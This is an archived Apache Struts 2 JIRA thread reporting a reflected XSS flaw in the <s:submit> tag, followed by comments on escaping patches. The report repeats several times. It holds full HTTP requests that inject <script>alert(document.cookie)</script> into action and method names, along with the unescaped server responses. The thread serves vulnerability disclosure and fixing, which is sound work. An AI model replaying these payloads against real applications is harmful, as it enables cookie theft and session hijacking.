You are viewing a plain text version of this content. The canonical link for it is here.
Posted to issues@struts.apache.org by "Marian Ventuneac (JIRA)" <ji...@apache.org> on 2011/02/22 11:15:38 UTC

[jira] Created: (WW-3579) XSS vulnerability

<s:submit> XSS vulnerability
----------------------------

                 Key: WW-3579
                 URL: https://issues.apache.org/jira/browse/WW-3579
             Project: Struts 2
          Issue Type: Bug
    Affects Versions: 2.2.1
         Environment: Application Server: Oracle WebLogic 10.3.3.0
JRE: 1.6.9_05-b13
Development Framework: Struts 2.2.1 (with XWork 2.2.1)
            Reporter: Marian Ventuneac



Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 

- no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
- Dynamic Method Invocation is enabled (this is enabled by default)   AND
- bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
- the called method is not defined in the action implementation class   OR
- the called action is not matching one already defined in struts.xml  )

Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 

Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.

1. Configuration

1.1 struts.xml

NOTE: action cantlogin is used for subsequent tests

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
    "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
    "http://struts.apache.org/dtds/struts-2.0.dtd">

<struts>

            <constant name="struts.devMode" value="false" />
            <constant name="struts.i18n.encoding" value="UTF-8" />
            <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
            <constant name="struts.action.extension" value="html" />
            <constant name="struts.ui.theme" value="simple"/>
            <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
            <constant name="struts.multipart.maxSize" value="26214400"/>
    
            <!-- Include Struts defaults -->
            <include file="struts-default.xml" />
            
            <!-- Configuration for the default package. -->
            <package name="default" extends="struts-default">
       
...                        
                        <global-results>
                                    <result name="login" type="redirectAction">home</result>
                                    <result name="sslError">/error.jsp</result>
                        </global-results>
                                                
                        ...
            
                        <action name="login" class="some_path.action.LoginAction">
                                    <param name="fieldSetNames">...</param>
                                    <result name="input">/WEB-INF/pages/home.jsp</result>
                                    <result name="error">/WEB-INF/pages/home.jsp</result>
                                    <result name="cantlogin" type="redirectAction">
                                                <param name="actionName">cantlogin</param>
                                                <param name="userId">${userId}</param>
                                    </result>
                                    <result name="proceed" type="redirect">landing.html</result>
                        </action>
                        
                        
            </package>

</struts>



1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties

struts.enable.DynamicMethodInvocation = true 



2. Code

2.1 LoginAction.java

package some_path.action;
...
public class LoginAction extends BaseAction {

            public static final String CANTLOGIN = "cantlogin";
            ...       
            public String cantLogin(){
                        String returnType = ERROR;
                        try {
                                ...
                                returnType = CANTLOGIN;
                        } catch (CException ce) {
                                    setMessage(getText(ce.getErrorCode().trim()));
                        }catch (Exception e) {
                                    setMessage(getText("ERR_GENERIC"));
                        }
                        return returnType;
            }

            public String doLogin() {
                        String returnType = ERROR;
                        try {
                               ...
                        } catch (CException ce) {
                                    setMessage(getText(ce.getErrorCode().trim()));
                        } catch (Exception e) {
                                    setMessage(getText("ERR_GENERIC"));
                        }
                        return returnType;
            }
}


2.2 login.jsp

<!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<%@ include file="/common/taglibs.jsp"%>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
...
</head>
<body>
...
 <form name="loginform" id="loginform" method="post" action="">
   ...
   <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
   <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
   </form>
...
</body>
</html>




NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 

In HTML code this is rendered using the bash syntax as shown below:

...
   <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
 
                          </div>         
                          </form>
...


3. XSS Tests

3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>


HTTP request:

POST http://test.app.net/home.html HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
Referer: http://test.app.net/home.html
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Proxy-Connection: Keep-Alive
Host: test.app.net
Pragma: no-cache
Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
Content-Length: 112

USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login



HTTP response:

HTTP/1.1 500 Internal Server Error
Date: Fri, 18 Feb 2011 18:16:51 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 97
Proxy-Connection: Keep-Alive
Connection: Keep-Alive
Set-Cookie: ACE-Insert=R4124232031; path=/
Age: 0

some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()



NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 

This allows successful reflected XSS attacks using <s:submit> tag.


NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 



3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>


HTTP request:

POST http://test.app.net/home.html HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
Referer: http://test.app.net/home.html
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Proxy-Connection: Keep-Alive
Host: test.app.net
Pragma: no-cache
Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
Content-Length: 112

USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login



HTTP response:

HTTP/1.1 404 Not Found
Date: Fri, 18 Feb 2011 18:21:33 GMT
Content-Type: text/html; charset=UTF-8
X-GMS-SVR: wpFour
Content-Length: 103
Proxy-Connection: Keep-Alive
Connection: Keep-Alive
Set-Cookie: ACE-Insert=R4124232031; path=/
Age: 0

There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.


NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 

This allows successful reflected XSS attacks using <s:submit> tag.




-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Commented: (WW-3579) XSS vulnerability

Posted by "Lukasz Lenart (JIRA)" <ji...@apache.org>.
    [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12997778#comment-12997778 ] 

Lukasz Lenart commented on WW-3579:
-----------------------------------

Could someone test the attached patch ?

> <s:submit> XSS vulnerability
> ----------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>         Attachments: WW-3579.patch
>
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Commented: (WW-3579) Struts 2 XSS vulnerability

Posted by "Marian Ventuneac (JIRA)" <ji...@apache.org>.
    [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=13001384#comment-13001384 ] 

Marian Ventuneac commented on WW-3579:
--------------------------------------



The tests I did require an application developed with Struts 2 running on Tomcat AS. Basically, I am issuing GET and POST requests to trigger the errors from DefaultActionProxy class. 

Preliminary tests using patch 4 looks good:
- dangerous HTML and JS characters are escaped when XSS payload is injected into method parameter
- same applies to actioName parameter - HTML characters are escaped



> Struts 2 <s:submit> XSS vulnerability
> -------------------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>         Attachments: WW-3579 - 2.patch, WW-3579 - 3.patch, WW-3579.patch, WW-35791-4.patch
>
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
> NOTE: For the tests detailed in section 3, <s:submit > tag is used to call cantLogin method of LoginAction class. 
> In HTML code this is rendered using the bash syntax as shown below:
> ...
>    <input type="submit" id="cantlogin" name="action:login!cantLogin" value="Can't login" class="cant-login right"/>
>  
>                           </div>         
>                           </form>
> ...
> 3. XSS Tests
> 3.1 passing in a nonexisting method cantLogin<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin%21cantLogin<script>alert(document.cookie)</script>=Can%27t+login
> HTTP response:
> HTTP/1.1 500 Internal Server Error
> Date: Fri, 18 Feb 2011 18:16:51 GMT
> Content-Type: text/html; charset=UTF-8
> Content-Length: 97
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> some_path.action.LoginAction.cantLogin<script>alert(document.cookie)</script>()
> NOTE 1: Without proper output escaping for the invoked method (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.
> NOTE 2: the returned error also exposes internal paths for the Java class implementing the action for which we manipulate the method to be called (LoginAction in this case). 
> 3.2 passing in a nonexistent action login<script>alert(document.cookie)</script>
> HTTP request:
> POST http://test.app.net/home.html HTTP/1.1
> Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*
> Referer: http://test.app.net/home.html
> Accept-Language: en
> Content-Type: application/x-www-form-urlencoded
> UA-CPU: x86
> Accept-Encoding: gzip, deflate
> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
> Proxy-Connection: Keep-Alive
> Host: test.app.net
> Pragma: no-cache
> Cookie: JSESSIONID=pqghNp0cQb46PcrgY6SL4nG9GnFq9bDpq7L6Vyk4nsV8sQjd01Gc!1161154239
> Content-Length: 112
> USER_ID=&PASSWORD=&action%3Alogin<script>alert(document.cookie)</script>%21cantLogin=Can%27t+login
> HTTP response:
> HTTP/1.1 404 Not Found
> Date: Fri, 18 Feb 2011 18:21:33 GMT
> Content-Type: text/html; charset=UTF-8
> X-GMS-SVR: wpFour
> Content-Length: 103
> Proxy-Connection: Keep-Alive
> Connection: Keep-Alive
> Set-Cookie: ACE-Insert=R4124232031; path=/
> Age: 0
> There is no Action mapped for namespace / and action name login<script>alert(document.cookie)</script>.
> NOTE: Without proper output escaping for the invoked action (which is controlled by the user), the injected scripting code will be executed by the browser (the HTTP response's content-type header is set to text/html). 
> This allows successful reflected XSS attacks using <s:submit> tag.

-- 
This message is automatically generated by JIRA.
-
For more information on JIRA, see: http://www.atlassian.com/software/jira

        

[jira] Issue Comment Edited: (WW-3579) Struts 2 XSS vulnerability

Posted by "Lukasz Lenart (JIRA)" <ji...@apache.org>.
    [ https://issues.apache.org/jira/browse/WW-3579?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=13000780#comment-13000780 ] 

Lukasz Lenart edited comment on WW-3579 at 3/1/11 8:48 AM:
-----------------------------------------------------------

A more optimal solution (patch no 4), action name and method name are escaped in the constructor.

Action name can not be JavaScript escaped as it can contain slashes (which is valid) and then will break backward compatibility.

      was (Author: lukaszlenart):
    A more optimal solution, action name and method name are escaped in the constructor.

Action name can not be JavaScript escaped as it can contain slashes (which is valid) and then will break backward compatibility.
  
> Struts 2 <s:submit> XSS vulnerability
> -------------------------------------
>
>                 Key: WW-3579
>                 URL: https://issues.apache.org/jira/browse/WW-3579
>             Project: Struts 2
>          Issue Type: Bug
>    Affects Versions: 2.2.1
>         Environment: Application Server: Oracle WebLogic 10.3.3.0
> JRE: 1.6.9_05-b13
> Development Framework: Struts 2.2.1 (with XWork 2.2.1)
>            Reporter: Marian Ventuneac
>            Assignee: Lukasz Lenart
>              Labels: security
>         Attachments: WW-3579 - 2.patch, WW-3579 - 3.patch, WW-3579.patch, WW-35791-4.patch
>
>
> Reflected XSS attacks can be performed on applications using Struts 2.2.1 (with XWork 2.2.1) via <s:submit> tag when the following conditions are met: 
> - no declarative error handling rule is defined in struts.xml with <global-exception-mappings>   AND
> - Dynamic Method Invocation is enabled (this is enabled by default)   AND
> - bash syntax is used in JSP via <s:submit> tag for calling Struts actions and methods   AND  (
> - the called method is not defined in the action implementation class   OR
> - the called action is not matching one already defined in struts.xml  )
> Thus, a custom error page is generated by Struts/XWork (most likely the last one) for rendering such errors. Due to the lack of output encoding for either action or method passed via <s:submit> tag using bash syntax, reflected XSS can be performed by injecting malicious scripting code into both the invoked action and method. 
> Relevant Struts configuration, Java and JSP code is provided below, as well as two test cases showing the reflected XSS issues in Struts/XWork generated error page.
> 1. Configuration
> 1.1 struts.xml
> NOTE: action cantlogin is used for subsequent tests
> <?xml version="1.0" encoding="UTF-8" ?>
> <!DOCTYPE struts PUBLIC
>     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
>     "http://struts.apache.org/dtds/struts-2.0.dtd">
> <struts>
>             <constant name="struts.devMode" value="false" />
>             <constant name="struts.i18n.encoding" value="UTF-8" />
>             <constant name="struts.codebehind.pathPrefix" value="/WEB-INF/pages/" />
>             <constant name="struts.action.extension" value="html" />
>             <constant name="struts.ui.theme" value="simple"/>
>             <constant name="struts.custom.i18n.resources" value="ErrorCodes,ApplicationResources" />
>             <constant name="struts.multipart.maxSize" value="26214400"/>
>     
>             <!-- Include Struts defaults -->
>             <include file="struts-default.xml" />
>             
>             <!-- Configuration for the default package. -->
>             <package name="default" extends="struts-default">
>        
> ...                        
>                         <global-results>
>                                     <result name="login" type="redirectAction">home</result>
>                                     <result name="sslError">/error.jsp</result>
>                         </global-results>
>                                                 
>                         ...
>             
>                         <action name="login" class="some_path.action.LoginAction">
>                                     <param name="fieldSetNames">...</param>
>                                     <result name="input">/WEB-INF/pages/home.jsp</result>
>                                     <result name="error">/WEB-INF/pages/home.jsp</result>
>                                     <result name="cantlogin" type="redirectAction">
>                                                 <param name="actionName">cantlogin</param>
>                                                 <param name="userId">${userId}</param>
>                                     </result>
>                                     <result name="proceed" type="redirect">landing.html</result>
>                         </action>
>                         
>                         
>             </package>
> </struts>
> 1.2 checking for Dynamic Method Invocation in the Struts 2.2.1 source code (struts2-core-2.2.1-sources.jar), the DMI setting is set to true in default.properties
> struts.enable.DynamicMethodInvocation = true 
> 2. Code
> 2.1 LoginAction.java
> package some_path.action;
> ...
> public class LoginAction extends BaseAction {
>             public static final String CANTLOGIN = "cantlogin";
>             ...       
>             public String cantLogin(){
>                         String returnType = ERROR;
>                         try {
>                                 ...
>                                 returnType = CANTLOGIN;
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         }catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
>             public String doLogin() {
>                         String returnType = ERROR;
>                         try {
>                                ...
>                         } catch (CException ce) {
>                                     setMessage(getText(ce.getErrorCode().trim()));
>                         } catch (Exception e) {
>                                     setMessage(getText("ERR_GENERIC"));
>                         }
>                         return returnType;
>             }
> }
> 2.2 login.jsp
> <!DOCTYPE html PUBLIC "-// W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
> <%@ include file="/common/taglibs.jsp"%>
> <html xmlns="http://www.w3.org/1999/xhtml">
> <head>
> ...
> </head>
> <body>
> ...
>  <form name="loginform" id="loginform" method="post" action="">
>    ...
>    <s:submit action="login" method="doLogin" name="signin" key="sign.in" cssClass="login-submit" theme="simple" />
>    <s:submit action="login" method="cantLogin" name="cantlogin" key="cant.login" cssClass="cant-login right" theme="simple" />
>    </form>
> ...
> </body>
> </html>
